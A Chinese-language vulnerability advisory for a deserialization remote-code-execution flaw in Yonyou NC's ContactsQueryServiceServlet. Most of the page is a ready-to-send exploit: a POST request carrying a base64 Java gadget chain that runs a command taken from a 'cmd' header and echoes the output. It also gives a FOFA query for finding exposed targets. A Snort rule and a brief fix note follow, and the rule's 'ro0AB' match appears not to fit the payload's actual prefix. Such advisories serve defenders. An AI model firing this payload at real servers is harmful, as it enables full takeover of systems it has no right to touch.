跳转至

用友NC-ContactsQueryServiceServlet-反序列化

用友NC-ContactsQueryServiceServlet-反序列化，攻击者可执行任意命令导致服务器被控。

影响版本

用友-UFIDA-NC

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：app="用友-UFIDA-NC"

POC/EXP：

POST /servlet/ContactsQueryServiceServlet?pageId=login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-java-serialized-object
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
cmd:whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36

{{base64dec(rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAAB3NyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyACpvcmcubW96aWxsYS5qYXZhc2NyaXB0LkRlZmluaW5nQ2xhc3NMb2FkZXIAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAF1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0ABZnZXREZWNsYXJlZENvbnN0cnVjdG9ydXEAfgAaAAAAAXZxAH4AGnNxAH4AE3VxAH4AGAAAAAF1cQB+ABgAAAAAdAALbmV3SW5zdGFuY2V1cQB+ABoAAAABdnEAfgAYc3EAfgATdXEAfgAYAAAAAnQAVW9yZy5hcGFjaGUuc2hpcm8uY295b3RlLnNlci5zdGQuSW5ldEFkZHJlc3NTZXJpYWxpemVyMzdkZjEwYjAzZjk2NDhmYzk1ZDBjNjdkNDk0ZWRkODF1cgACW0Ks8xf4BghU4AIAAHhwAAAiQMr+ur4AAAAyAZ4BAFVvcmcvYXBhY2hlL3NoaXJvL2NveW90ZS9zZXIvc3RkL0luZXRBZGRyZXNzU2VyaWFsaXplcjM3ZGYxMGIwM2Y5NjQ4ZmM5NWQwYzY3ZDQ5NGVkZDgxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhlYWRlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWRlYnVnAQABWgEABG9uY2UBAAY8aW5pdD4BAAMoKVYMAAoACwoABAAMAQADcnVuAQAHaXNKZXR0eQEAAygpWgwADwAQCgACABEBAAdkb0pldHR5DAATAAsKAAIAFAwACQAICQACABYBAAppc1dlYmxvZ2ljDAAYABAKAAIAGQEACmRvV2VibG9naWMMABsACwoAAgAcAQAIaXNUb21jYXQMAB4AEAoAAgAfAQAIZG9Ub21jYXQMACEACwoAAgAiAQAIaXNTcHJpbmcMACQAEAoAAgAlAQAIZG9TcHJpbmcMACcACwoAAgAoAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAKgEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0QXR0cmlidXRlcwgALAEAD2phdmEvbGFuZy9DbGFzcwcALgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAwADEKAC8AMgwABwAICQACADQBABBqYXZhL2xhbmcvU3lzdGVtBwA2AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAA4ADkJADcAOgEAKltvbmUtZm9yLWFsbC1lY2hvXSBbaW5pdF0gdGFyZ2V0IGlzIHNwcmluZwgAPAEAE2phdmEvaW8vUHJpbnRTdHJlYW0HAD4BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDABAAEEKAD8AQgEALHdlYmxvZ2ljLnNlcnZsZXQuaW50ZXJuYWwuU2VydmxldFJlcXVlc3RJbXBsCABEAQAsW29uZS1mb3ItYWxsLWVjaG9dIFtpbml0XSB0YXJnZXQgaXMgd2VibG9naWMIAEYBACVvcmcuYXBhY2hlLmNhdGFsaW5hLnN0YXJ0dXAuQm9vdHN0cmFwCABIAQAqW29uZS1mb3ItYWxsLWVjaG9dIFtpbml0XSB0YXJnZXQgaXMgdG9tY2F0CABKAQAvb3JnLmVjbGlwc2UuamV0dHkuc2VydmxldC5TZXJ2bGV0Q29udGV4dEhhbmRsZXIIAEwBAClbb25lLWZvci1hbGwtZWNob10gW2luaXRdIHRhcmdldCBpcyBqZXR0eQgATgEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAUAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAFIBABBqYXZhL2xhbmcvVGhyZWFkBwBUAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7DABWAFcKAFUAWAEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwwAWgBbCgBVAFwBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DABeAF8KAFUAYAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAYgBjCgAEAGQBAAd0aHJlYWRzCABmAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAaABpCgAvAGoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAbAEADXNldEFjY2Vzc2libGUBAAQoWilWDABuAG8KAG0AcAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAByAHMKAG0AdAEAE1tMamF2YS9sYW5nL1RocmVhZDsHAHYBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAHgAeQoAVQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAHwKAH0ADAEAK1tvbmUtZm9yLWFsbC1lY2hvXSBbdG9tY2F0XSB0aHJlYWQgbmFtZSAtPiAIAH8BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsMAIEAggoAfQCDAQAIdG9TdHJpbmcMAIUAeQoAfQCGAQAEZXhlYwgAiAEAEGphdmEvbGFuZy9TdHJpbmcHAIoBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAjACNCgCLAI4BAARodHRwCACQAQAGdGFyZ2V0CACSAQASamF2YS9sYW5nL1J1bm5hYmxlBwCUAQAGdGhpcyQwCACWAQAHaGFuZGxlcggAmAEADWdldFN1cGVyY2xhc3MMAJoAYwoALwCbAQAGZ2xvYmFsCACdAQAKcHJvY2Vzc29ycwgAnwEADmphdmEvdXRpbC9MaXN0BwChAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DACjAKQLAKIApQEAEmphdmEvdXRpbC9JdGVyYXRvcgcApwEAB2hhc05leHQMAKkAEAsAqACqAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DACsAK0LAKgArgEAA3JlcQgAsAEAC2dldFJlc3BvbnNlCACyAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAtAC1CgAvALYBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHALgBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMALoAuwoAuQC8AQAJZ2V0SGVhZGVyCAC+DAAFAAYJAAIAwAEAB2lzRW1wdHkMAMIAEAoAiwDDAQAJc2V0U3RhdHVzCADFAQARamF2YS9sYW5nL0ludGVnZXIHAMcBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMAMkAygkAyADLAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMAM0AzgoAyADPAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAIgA0QoAAgDSAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCADUAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwwAMADWCgAvANcBAAtuZXdJbnN0YW5jZQwA2QCtCgAvANoBAAhzZXRCeXRlcwgA3AEAAltCBwDeAQARZ2V0RGVjbGFyZWRNZXRob2QMAOAAtQoALwDhAQAIZ2V0Qnl0ZXMBAAQoKVtCDADjAOQKAIsA5QEAB2RvV3JpdGUIAOcBABNqYXZhLm5pby5CeXRlQnVmZmVyCADpAQAEd3JhcAgA6wEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAcA7QEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcA7wEADmdldEN1cnJlbnRXb3JrCADxAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADzAPQKAAIA9QEAK1tvbmUtZm9yLWFsbC1lY2hvXSBbd2VibG9naWNdIHVua25vd24gZXJyb3IIAPcKAC8AegEAElNlcnZsZXRSZXF1ZXN0SW1wbAgA+gEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaDAD8AP0KAIsA/gEAEWNvbm5lY3Rpb25IYW5kbGVyCAEAAQANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DAECAQMKAAIBBAEAEWdldFNlcnZsZXRSZXF1ZXN0CAEGAQAxW29uZS1mb3ItYWxsLWVjaG9dIFt3ZWJsb2dpY10gZWNobyBoZWFkZXIgaXMgbnVsbAgBCAoABACGAQAtW29uZS1mb3ItYWxsLWVjaG9dIFt3ZWJsb2dpY10gZWNobyByZXN1bHQgLT4gCAELAQAWZ2V0U2VydmxldE91dHB1dFN0cmVhbQgBDQEAI3dlYmxvZ2ljLnhtbC51dGlsLlN0cmluZ0lucHV0U3RyZWFtCAEPAQALd3JpdGVTdHJlYW0IAREBABNqYXZhL2lvL0lucHV0U3RyZWFtBwETAQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwwBFQEWCgAvARcBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBGQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA2QEbCgEaARwBAAVmbHVzaAgBHgEACWdldFdyaXRlcggBIAEABXdyaXRlCAEiAQAACAEkAQAMdGhyZWFkTG9jYWxzCAEmAQAFdGFibGUIASgBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEqAQAFdmFsdWUIASwBABNBc3luY0h0dHBDb25uZWN0aW9uCAEuAQAKZ2V0UmVxdWVzdAgBMAEADmdldFByaW50V3JpdGVyCAEyAQAFdXRmLTgIATQBABNqYXZhL2lvL1ByaW50V3JpdGVyBwE2CgE3AEIBAA5IdHRwQ29ubmVjdGlvbggBOQEADmdldEh0dHBDaGFubmVsCAE7DAEeAAsKATcBPQEABWNsb3NlDAE/AAsKATcBQAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggBQgEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAFEAQBAb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlNlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwgBRgwBIgBBCgE3AUgBABBnZXRNZXRob2RCeUNsYXNzAQBRKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQBXKExqYXZhL2xhbmcvQ2xhc3M8Kj47TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgC5AHABAGAoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAUoBSwoAAgFPAQASW0xqYXZhL2xhbmcvQ2xhc3M7BwFRAQAMcmVhZEFsbEJ5dGVzAQAZKExqYXZhL2lvL0lucHV0U3RyZWFtOylbQgEAE2phdmEvaW8vSU9FeGNlcHRpb24HAVUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBVwoBWAAMAQAEcmVhZAEAByhbQklJKUkMAVoBWwoBFAFcAQAHKFtCSUkpVgwBIgFeCgFYAV8KAVgBPQEAC3RvQnl0ZUFycmF5DAFiAOQKAVgBYwEAB29zLm5hbWUIAWUBAAtnZXRQcm9wZXJ0eQwBZwDRCgA3AWgBAAt0b0xvd2VyQ2FzZQwBagB5CgCLAWsBAAN3aW4IAW0BAAJzaAgBbwEAAi1jCAFxAQAHY21kLmV4ZQgBcwEAAi9jCAF1AQARamF2YS9sYW5nL1J1bnRpbWUHAXcBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAF5AXoKAXgBewEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAIgBfQoBeAF+AQARamF2YS9sYW5nL1Byb2Nlc3MHAYABAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07DAGCAYMKAYEBhAwBUwFUCgACAYYBAA5nZXRFcnJvclN0cmVhbQwBiAGDCgGBAYkBAANHQksIAYsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgwACgGNCgCLAY4BAApnZXRNZXNzYWdlDAGQAHkKACsBkQEAE1tMamF2YS9sYW5nL1N0cmluZzsHAZMBAAg8Y2xpbml0PgEAA2NtZAgBlgwADgALCgACAZgBAARDb2RlAQANU3RhY2tNYXBUYWJsZQEACVNpZ25h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)}}

image-20260917144946789

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"用友NC - ContactsQueryServiceServlet Java反序列化 RCE (CommonsCollections/Spring链)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri;
        content:"/servlet/ContactsQueryServiceServlet";
        fast_pattern;
    http.content_type; content:"application/x-java-serialized-object";
    http.request_body;
        content:"ro0AB";
        content:"org.apache.commons.collections"; distance:0; nocase;
        content:"org.springframework"; distance:0; nocase;
    metadata:
        service http,
        affected_product "用友 NC",
        vulnerability_type "Java Deserialization / Remote Code Execution",
        severity "critical";
    classtype:web-application-attack;
    sid:1000738;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。